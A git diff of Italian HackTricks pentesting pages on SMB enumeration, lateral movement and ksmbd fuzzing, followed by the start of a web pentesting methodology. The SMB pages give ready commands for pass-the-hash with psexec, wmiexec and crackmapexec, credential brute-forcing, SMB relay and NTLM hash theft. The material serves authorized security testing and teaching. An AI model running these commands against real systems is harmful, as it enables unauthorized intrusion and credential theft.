rpcclient-enumeration.md
{{#endref}}
### GUI connection from linux
### Connessione GUI da Linux
#### Nel terminale:
`xdg-open smb://cascade.htb/`
#### Nella finestra del file browser (nautilus, thunar, ecc.)
#### Nella finestra del file manager (nautilus, thunar, ecc.)
`smb://friendzone.htb/general/`
@ -170,7 +171,7 @@ rpcclient-enumeration.md
### Elencare le cartelle condivise
È sempre consigliato verificare se puoi accedere a qualcosa; se non hai **credentials/guest user**, prova a usare **null** **credentials/guest user**.
È sempre consigliato verificare se puoi accedere a qualcosa; se non hai credenziali prova a usare **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -196,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Manually enumerate windows shares and connect to them**
### **Enumerare manualmente le share di windows e connettersi ad esse**
Potrebbe essere che ti sia impedito di visualizzare le share della macchina host e quando provi a elencarle sembra che non ci siano share a cui connettersi. Perciò può valere la pena provare brevemente a connettersi manualmente a una share. Per enumerare le share manualmente potresti cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando usi una valid session (es. null session o valid credentials). Queste possono indicare se la share esiste ma non hai accesso, oppure se la share non esiste affatto.
Potrebbe essere che tu sia limitato nella visualizzazione delle share della macchina host e quando provi a elencarle sembra che non ci siano share disponibili a cui connettersi. Perciò può valere la pena provare brevemente a connettersi manualmente a una share. Per enumerare le share manualmente potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando usi una sessione valida (es. null session o valid credentials). Queste possono indicare se la share esiste ma non hai accesso oppure se la share non esiste affatto.
Common share names for windows targets are
@ -211,9 +212,9 @@ Common share names for windows targets are
- SYSVOL
- NETLOGON
(Nomi di share comuni da _**Network Security Assessment 3rd edition**_)
(Common share names from _**Network Security Assessment 3rd edition**_)
Puoi provare a connetterti a esse usando il seguente comando
Puoi provare a connetterti ad esse usando il seguente comando
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -266,7 +267,7 @@ fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (interfaccia grafica), digita `\\<ip>\` per vedere le cartelle condivise non nascoste.
explorer.exe (interfaccia grafica), digita `\\<ip>\` per vedere le condivisioni non nascoste disponibili.
### Montare una cartella condivisa
```bash
@ -275,7 +276,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Scaricare file**
Leggi le sezioni precedenti per imparare come connetterti usando credentials/Pass-the-Hash.
Leggi le sezioni precedenti per imparare come connettersi usando credentials/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -292,10 +293,10 @@ smbclient //<IP>/<share>
```
Comandi:
- mask: specifica la mask utilizzata per filtrare i file nella directory (es. "" per tutti i file)
- recurse: attiva/disattiva la ricorsione (predefinito: off)
- prompt: disabilita la richiesta dei nomi dei file (predefinito: on)
- mget: copia tutti i file che corrispondono alla mask dall'host alla macchina client
- mask: specifica la mask usata per filtrare i file nella directory (es. "" per tutti i file)
- recurse: abilita/disabilita la ricorsione (predefinito: disattivato)
- prompt: disattiva la richiesta dei nomi dei file (predefinito: attivato)
- mget: copia tutti i file che corrispondono alla mask da host a client machine
(_Informazioni dalla manpage di smbclient_)
@ -311,11 +312,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specialmente interessanti nelle condivisioni sono i file chiamati **`Registry.xml`**, poiché **possono contenere password** per utenti configurati con **autologon** tramite Group Policy. Anche i file **`web.config`** possono contenere credenziali.
Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`**, poiché **possono contenere password** per utenti configurati con **autologon** tramite Group Policy. Anche i file **`web.config`** sono importanti perché contengono credenziali.
> [!TIP]
> La **SYSVOL share** è **leggibile** da tutti gli utenti autenticati del dominio. Lì potresti **trovare** molti diversi batch, VBScript e PowerShell **scripts**.\
> Dovresti **controllare** gli **scripts** al loro interno, poiché potresti **trovare** informazioni sensibili come **password**.
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati del dominio. Al suo interno potresti **trovare** molti diversi batch, VBScript e PowerShell **script**.\
> Dovresti **controllare** gli **script** al suo interno perché potresti **trovare** informazioni sensibili come **password**.
## Leggere il registro
@ -325,28 +326,28 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post-exploitation
## Post Exploitation
La **config predefinita di** un server **Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe avere alcune **configurazioni pericolose**:
La **config di default** di un server **Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe contenere delle **config pericolose**:
| **Setting** | **Description** |
| **Impostazione** | **Descrizione** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Consente di elencare le condivisioni disponibili? |
| `read only = no` | Vieta la creazione e la modifica dei file? |
| `writable = yes` | Consente agli utenti di creare e modificare i file? |
| `guest ok = yes` | Consente di connettersi al servizio senza usare una password? |
| `enable privileges = yes` | Rispetta i privilegi assegnati a uno specifico SID? |
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione corrente? |
| `read only = no` | Vieta la creazione e la modifica di file? |
| `writable = yes` | Permettere agli utenti di creare e modificare file? |
| `guest ok = yes` | Permettere la connessione al servizio senza usare una password? |
| `enable privileges = yes` | Rispettare i privilegi assegnati a uno specifico SID? |
| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? |
| `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? |
| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? |
| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? |
| `magic output = script.out` | Dove deve essere memorizzato l'output del magic script? |
| `magic script = script.sh` | Quale script dovrebbe essere eseguito quando lo script viene chiuso? |
| `magic output = script.out` | Dove deve essere memorizzato l'output dello magic script? |
Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
## Autenticarsi usando Kerberos
## Authenticate using Kerberos
Puoi **autenticarti** a **kerberos** usando gli strumenti **smbclient** e **rpcclient**:
Puoi **autenticarti** a **Kerberos** usando gli strumenti **smbclient** e **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -355,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec può eseguire comandi **abusing** uno qualsiasi di **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci usare con il parametro `--exec-method`:
crackmapexec può eseguire comandi **sfruttando** uno qualsiasi di **mmcexec, smbexec, atexec, wmiexec**, essendo **wmiexec** il metodo **predefinito**. Puoi indicare quale opzione preferisci usare con il parametro `--exec-method`:
```bash
apt-get install crackmapexec
@ -379,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
Entrambe le opzioni **creeranno un nuovo servizio** (usando _\pipe\svcctl_ via SMB) sulla macchina vittima e lo useranno per **eseguire qualcosa** (**psexec** farà **upload** di un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**file-less technique-**-).\
**Maggiori informazioni** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
Entrambe le opzioni **creeranno un nuovo servizio** (usando _\pipe\svcctl_ via SMB) sulla macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** caricherà un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**file-less technique-**-).\
**Maggiori informazioni** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -389,11 +390,11 @@ In **kali** si trova in /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Usando il **parametro** `-k` puoi autenticarti con **kerberos** anziché con **NTLM**
Usando il **parametro**`-k` puoi autenticarti tramite **kerberos** invece di **NTLM**
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Esegui furtivamente una shell dei comandi senza toccare il disco o avviare un nuovo servizio usando DCOM tramite **porta 135.**\
Esegui furtivamente una shell di comandi senza toccare il disco o avviare un nuovo servizio usando DCOM tramite **port 135.**\
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -401,7 +402,7 @@ In **kali** si trova in /usr/share/doc/python3-impacket/examples/
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
Usando **parametro**`-k` puoi autenticarti tramite **kerberos** anziché **NTLM**
Usando il **parametro**`-k` puoi autenticarti con **kerberos** invece di **NTLM**
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -410,8 +411,8 @@ Usando **parametro**`-k` puoi autenticarti tramite **kerberos** anziché **NTLM*
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Esegui comandi tramite il Task Scheduler (usando _\pipe\atsvc_ via SMB).\
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
Eseguire comandi tramite il Task Scheduler (usando _\pipe\atsvc_ via SMB).\
Su **kali** si trova in /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
@ -420,27 +421,27 @@ In **kali** si trova in /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)
### ksmbd superficie di attacco e fuzzing del protocollo SMB2/SMB3 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce credenziali degli utenti**
## **Bruteforce credenziali utenti**
**Non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
**Questo non è raccomandato, potresti bloccare un account se superi il numero massimo di tentativi consentiti**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
Questo attacco utilizza il toolkit Responder per **catturare sessioni di autenticazione SMB** su una rete interna, e **inoltrarle** a una **target machine**. Se la **sessione di autenticazione** ha successo, ti porterà automaticamente in una **system** **shell**.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi all'host quando una pagina cerca di accedere a contenuti via SMB, per esempio: `img src="\\10.10.10.10\path\image.jpg"`
La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi all'host quando una pagina cerca di accedere a contenuti tramite SMB, per esempio: `img src="\\10.10.10.10\path\image.jpg"`
Questo avviene con le funzioni:
@ -449,7 +450,7 @@ Questo avviene con le funzioni:
- URLOpenStream
- URLOpenBlockingStream
Che vengono usate da alcuni browser e strumenti (come Skype)
Che sono utilizzate da alcuni browser e strumenti (come Skype)
![Da: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -459,11 +460,11 @@ Che vengono usate da alcuni browser e strumenti (come Skype)
## NTLM Theft
Simile a SMB Trapping, piantare file malevoli su un sistema target (via SMB, per esempio) può provocare un tentativo di autenticazione SMB, permettendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può poi essere craccato offline o usato in an [SMB relay attack](#smb-relay-attack).
Simile a SMB Trapping, piantare file malevoli su un target system (via SMB, per esempio) può indurre un tentativo di autenticazione SMB, permettendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può poi essere crackato offline o usato in un [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[Vedi: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
## HackTricks Comandi Automatici
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

80
src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
View File

@ -1,16 +1,16 @@
# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller)
# Superficie d'attacco di ksmbd & Fuzzing del protocollo SMB2/SMB3 (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Panoramica
Questa pagina riassume tecniche pratiche per esercitare e fuzzare il server SMB in-kernel di Linux (ksmbd) usando syzkaller. Si concentra sull'espansione della superficie di attacco del protocollo tramite configurazione, sulla costruzione di un harness stateful capace di concatenare operazioni SMB2, sulla generazione di PDU grammaticalmente valide, sull'orientamento delle mutazioni verso percorsi di codice poco coperti e sull'uso di funzionalità di syzkaller come focus_areas e ANYBLOB. Mentre la ricerca originale elenca CVE specifici, qui enfatizziamo la metodologia riutilizzabile e frammenti concreti che puoi adattare ai tuoi setup.
Questa pagina astrarre tecniche pratiche per esercitare e fuzzare il Linux in-kernel SMB server (ksmbd) usando syzkaller. Si concentra sull'espansione della superficie d'attacco del protocollo tramite configurazione, sulla costruzione di un harness stateful capace di concatenare operazioni SMB2, sulla generazione di PDU valide rispetto alla grammatica, sull'orientamento delle mutazioni verso percorsi di codice poco coperti, e sull'uso di feature di syzkaller come focus_areas e ANYBLOB. Mentre la ricerca originale elenca CVE specifiche, qui enfatizziamo la metodologia riutilizzabile e snippet concreti che puoi adattare ai tuoi setup.
Ambito target: SMB2/SMB3 su TCP. Kerberos e RDMA sono intenzionalmente fuori dal scope per mantenere semplice l'harness.
Ambito target: SMB2/SMB3 su TCP. Kerberos e RDMA sono intenzionalmente fuori-scope per mantenere l'harness semplice.
---
## Espandi la superficie di attacco di ksmbd tramite configurazione
Per default, una configurazione minima di ksmbd lascia gran parte del server non testata. Abilita le seguenti funzionalità per far attraversare al server parser/handler aggiuntivi e raggiungere percorsi di codice più profondi:
## Espandere la superficie d'attacco di ksmbd tramite configurazione
Di default, una configurazione ksmbd minimale lascia grandi porzioni del server non testate. Abilita le seguenti feature per spingere il server attraverso parser/handler aggiuntivi e raggiungere percorsi di codice più profondi:
- Global-level
- Durable handles
@ -20,7 +20,7 @@ Per default, una configurazione minima di ksmbd lascia gran parte del server non
- Oplocks (on by default)
- VFS objects
Abilitandole si aumenta l'esecuzione in moduli come:
Abilitare queste opzioni aumenta l'esecuzione in moduli quali:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
@ -29,27 +29,27 @@ Abilitandole si aumenta l'esecuzione in moduli come:
- vfs_cache.c (lookup cache)
Note
- Le opzioni esatte dipendono dal userspace ksmbd della tua distro (ksmbd-tools). Controlla /etc/ksmbd/ksmbd.conf e le sezioni per-share per abilitare durable handles, leases, oplocks e VFS objects.
- Multi-channel e durable handles alterano state machine e lifetimes, spesso facendo emergere UAF/refcount/OOB bug sotto concorrenza.
- Le opzioni esatte dipendono dall'userspace ksmbd della tua distro (ksmbd-tools). Controlla /etc/ksmbd/ksmbd.conf e le sezioni per-share per abilitare durable handles, leases, oplocks e VFS objects.
- Multi-channel e durable handles modificano state machine e lifetime, spesso facendo emergere UAF/refcount/OOB bug sotto concorrenza.
---
## Autenticazione e aggiustamenti del rate-limiting per il fuzzing
## Authentication and Rate-Limiting Adjustments for Fuzzing
SMB3 richiede una sessione valida. Implementare Kerberos negli harness aggiunge complessità, quindi preferisci NTLM/guest per il fuzzing:
- Consenti accesso guest e imposta map to guest = bad user in modo che utenti non riconosciuti cadano su GUEST.
- Accetta NTLMv2 (applica patch alla policy se disabilitato). Questo mantiene semplice l'handshake pur esercitando i percorsi di codice SMB3.
- Rimuovi i controlli stretti sui credit durante gli esperimenti (post-hardening per CVE-2024-50285 ha reso il crediting per operazioni simultanee più severo). Altrimenti, i rate-limit possono respingere sequenze fuzzate troppo presto.
- Aumenta max connections (es. a 65536) per evitare rifiuti prematuri durante il fuzzing ad alto throughput.
- Allow guest access e imposta map to guest = bad user in modo che utenti sconosciuti ricadano su GUEST.
- Accept NTLMv2 (patch policy se disabilitata). Questo mantiene l'handshake semplice mentre esercita i percorsi di codice di SMB3.
- Patchare i strict credit checks quando sperimenti (post-hardening per CVE-2024-50285 ha reso il crediting per operazioni simultanee più severo). Altrimenti, i rate-limit possono rifiutare sequenze fuzzate troppo presto.
- Aumentare max connections (per es., a 65536) per evitare rifiuti precoci durante il fuzzing ad alta velocità.
Attenzione: Queste rilassazioni servono solo a facilitare il fuzzing. Non distribuire con queste impostazioni in produzione.
Attenzione: Queste rilassazioni sono solo per facilitare il fuzzing. Non usare queste impostazioni in produzione.
---
## Stateful Harness: Extract Resources and Chain Requests
SMB è stateful: molte richieste dipendono da identificatori restituiti da risposte precedenti (SessionId, TreeID, coppie FileID). Il tuo harness deve parsare le risposte e riusare gli ID all'interno dello stesso programma per raggiungere handler profondi (es., smb2_create → smb2_ioctl → smb2_close).
SMB è stateful: molte richieste dipendono da identificatori restituiti da risposte precedenti (SessionId, TreeID, coppie FileID). Il tuo harness deve parsare le risposte e riutilizzare gli ID nello stesso programma per raggiungere handler profondi (per es., smb2_create → smb2_ioctl → smb2_close).
Esempio di snippet per processare un buffer di risposta (saltando i +4B della lunghezza PDU NetBIOS) e memorizzare gli ID:
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@ -75,16 +75,16 @@ break;
}
}
```
Suggerimenti
- Mantieni un processo fuzzer unico che condivide autenticazione/stato: migliore stabilità e copertura con ksmbd’s global/session tables. syzkaller comunque inietta concorrenza marcando le ops come async, rieseguendole internamente.
- La funzionalità sperimentale reset_acc_state di Syzkaller può resettare lo stato globale ma può introdurre un forte rallentamento. Preferisci la stabilità e concentra il fuzzing.
Tips
- Mantieni un solo processo fuzzer che condivide autenticazione/stato: migliore stabilità e copertura con le tabelle globali/session di ksmbd. syzkaller comunque inietta concorrenza marcando le ops come async e rieseguendole internamente.
- La funzione sperimentale reset_acc_state di syzkaller può resettare lo stato globale ma può introdurre un forte rallentamento. Preferisci la stabilità e concentrati sul fuzzing.
---
## Generazione basata su grammatica SMB2 (PDUs validi)
Mappa le strutture SMB2 delle Microsoft Open Specifications in una fuzzer grammar in modo che il tuo generatore produca PDUs strutturalmente validi, che raggiungano sistematicamente i dispatchers e gli IOCTL handlers.
## Grammar-Driven SMB2 Generation (Valid PDUs)
Traduci le strutture SMB2 delle Microsoft Open Specifications in una grammatica per fuzzer in modo che il tuo generatore produca PDUs strutturalmente validi, che raggiungano sistematicamente dispatcher e IOCTL handler.
Esempio (SMB2 IOCTL request):
Example (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
Questo stile impone dimensioni/offset corretti delle strutture e migliora drasticamente la copertura rispetto alla blind mutation.
Questo stile impone dimensioni/offsets corretti delle strutture e migliora drasticamente la copertura rispetto alla blind mutation.
---
## Fuzzing guidato con focus_areas
Usa l'opzione sperimentale focus_areas di syzkaller’s per assegnare un peso maggiore a funzioni/file specifici che attualmente hanno una copertura debole. Esempio JSON:
## Directed Fuzzing With focus_areas
Usa le focus_areas sperimentali di syzkaller per sovrappesare funzioni/file specifici che attualmente hanno una copertura debole. Esempio JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ Usa l'opzione sperimentale focus_areas di syzkaller’s per assegnare un peso ma
]
}
```
Questo aiuta a costruire ACL valide che colpiscono i percorsi aritmetici/overflow in smbacl.c. Ad esempio, un Security Descriptor malevolo con un dacloffset sovradimensionato riproduce un integer-overflow.
Questo aiuta a costruire ACLs validi che colpiscono i percorsi arithmetic/overflow in smbacl.c. Per esempio, un Security Descriptor maligno con un dacloffset sovradimensionato riproduce un integer-overflow.
Costruttore del reproducer (Python minimale):
Reproducer builder (minimal Python):
```python
def build_sd():
import struct
@ -143,8 +143,8 @@ return bytes(sd)
```
---
## Superare i plateau di copertura con ANYBLOB
syzkaller’s anyTypes (ANYBLOB/ANYRES) consentono di ridurre strutture complesse a blob che mutano in modo generico. Inizializza un nuovo corpus a partire da pcaps SMB pubblici e converti i payloads in programmi syzkaller che chiamano la tua pseudo-syscall (ad es., syz_ksmbd_send_req):
## Superare i plateau di Coverage con ANYBLOB
Gli anyTypes di syzkaller (ANYBLOB/ANYRES) permettono di ridurre strutture complesse a blob che mutano in modo generico. Popola un nuovo corpus da SMB pcaps pubblici e converti i payload in programmi syzkaller che chiamano il tuo pseudo-syscall (p.es., syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,13 +167,13 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
Questo dà il via all'esplorazione e può attivare immediatamente UAFs (ad es., in ksmbd_sessions_deregister), aumentando nel contempo la copertura di qualche percento.
Questo accelera l'esplorazione e può immediatamente causare UAFs (p.es., in ksmbd_sessions_deregister) aumentando la copertura di qualche percento.
---
## Sanitizers: Oltre KASAN
- KASAN rimane il rilevatore principale per heap bugs (UAF/OOB).
- KCSAN spesso produce falsi positivi o data races di bassa severità in questo target.
- KCSAN spesso genera falsi positivi o data races di bassa gravità su questo target.
- UBSAN/KUBSAN possono intercettare errori di declared-bounds che KASAN non rileva a causa della semantica degli indici di array. Esempio:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Impostare num_subauth = 0 provoca una lettura OOB in-struct di sub_auth[-1], rilevata dalle declared-bounds checks di UBSAN.
Impostare num_subauth = 0 provoca una lettura in-struct OOB di sub_auth[-1], intercettata dai declared-bounds checks di UBSAN.
---
## Note su throughput e parallelismo
- Un singolo processo fuzzer (shared auth/state) tende a essere significativamente più stabile per ksmbd e comunque mette in luce races/UAFs grazie all'async executor interno di syzkaller.
- Con più VM è comunque possibile raggiungere centinaia di comandi SMB/secondo complessivi. La copertura a livello di funzione è intorno al ~60% di fs/smb/server e ~70% di smb2pdu.c, sebbene la copertura delle state-transition sia sottorappresentata da tali metriche.
- Un singolo processo fuzzer (auth/state condivisi) tende a essere significativamente più stabile per ksmbd e continua a far emergere races/UAF grazie all'executor async interno di syzkaller.
- Con più VM, si possono comunque raggiungere centinaia di comandi SMB/secondo complessivi. Una copertura a livello di funzione intorno al ~60% di fs/smb/server e ~70% di smb2pdu.c è ottenibile, sebbene la copertura delle transizioni di stato sia sottorappresentata da tali metriche.
---
## Checklist pratica
- Abilitare durable handles, leases, multi-channel, oplocks e VFS objects in ksmbd.
- Consentire guest e map-to-guest; accettare NTLMv2. Patchare i credit limits e aumentare max connections per la stabilità del fuzzer.
- Costruire un stateful harness che cachia SessionId/TreeID/FileIDs e concateni create → ioctl → close.
- Consentire guest e map-to-guest; accettare NTLMv2. Rimuovere i credit limits e aumentare max connections per la stabilità del fuzzer.
- Costruire un harness stateful che memorizzi SessionId/TreeID/FileIDs e concateni create → ioctl → close.
- Usare una grammar per SMB2 PDUs per mantenere la validità strutturale.
- Usare focus_areas per dare più peso alle funzioni poco coperte (es. i percorsi in smbacl.c come smb_check_perm_dacl).
- Seed con ANYBLOB preso da pcaps reali per sbloccare plateau; impacchettare i seed con syz-db per il riutilizzo.
- Eseguire con KASAN + UBSAN; triage accurato dei report declared-bounds di UBSAN.
- Usare focus_areas per sovrappesare funzioni poco coperte (es. percorsi in smbacl.c come smb_check_perm_dacl).
- Seminare con ANYBLOB da pcaps reali per rompere i plateau; confezionare gli seed con syz-db per il riuso.
- Eseguire con KASAN + UBSAN; triage attentamente i report UBSAN declared-bounds.
---
@ -214,6 +214,6 @@ Impostare num_subauth = 0 provoca una lettura OOB in-struct di sub_auth[-1], ril
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
- Letture di riferimento: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
{{#include ../../banners/hacktricks-training.md}}

233
src/network-services-pentesting/pentesting-web/README.md
View File

@ -1,12 +1,12 @@
# 80,443 - Pentesting Web Metodologia
# 80,443 - Metodologia di Pentesting Web
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di base
Il servizio web è il servizio più **comune e diffuso** e esistono molti **diversi tipi di vulnerabilità**.
Il servizio web è il servizio più **comune e diffuso** e sono presenti molti **diversi tipi di vulnerabilità**.
**Porta predefinita:** 80 (HTTP), 443(HTTPS)
**Porta predefinita:** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,47 +17,47 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Linee guida Web API
### Guida alle Web API
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Sommario della metodologia
## Riassunto della metodologia
> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con server web non determinato nell'ambito.
> In questa metodologia supporremo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con server web non determinato all'interno del perimetro.
- [ ] Inizia identificando le **tecnologie** usate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare correttamente la tech.
- [ ] Esistono **vulnerabilità note** per la versione della tecnologia?
- [ ] Using any **well known tech**? Any **useful trick** to extract more information?
- [ ] Inizia col **identificare** le **tecnologie** utilizzate dal web server. Cerca **tricks** da tenere a mente durante il resto del test se riesci a identificare con successo la tech.
- [ ] Ci sono **vulnerabilità note** nella versione della tecnologia?
- [ ] Stai usando qualche **well known tech**? Qualche **useful trick** per estrarre più informazioni?
- [ ] Qualche **specialised scanner** da eseguire (come wpscan)?
- [ ] Avvia **general purposes scanners**. Non sai mai se troveranno qualcosa o se troveranno informazioni interessanti.
- [ ] Inizia con i **check iniziali**: **robots**, **sitemap**, errore **404** e **SSL/TLS scan** (se HTTPS).
- [ ] Avvia lo **spidering** della pagina web: è il momento di **trovare** tutti i possibili **file, folders** e **parameters being used.** Controlla anche la presenza di **special findings**.
- [ ] Avvia **general purposes scanners**. Non sai mai se troveranno qualcosa o informazioni interessanti.
- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **SSL/TLS scan** (se HTTPS).
- [ ] Inizia lo **spidering** della pagina web: è il momento di **trovare** tutti i possibili **file, folders** e **parametri utilizzati.** Controlla anche eventuali **scoperte particolari**.
- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere spidered._
- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
- [ ] **Directory Brute-Forcing**: prova a brute force tutte le cartelle scoperte cercando nuovi **file** e **directory**.
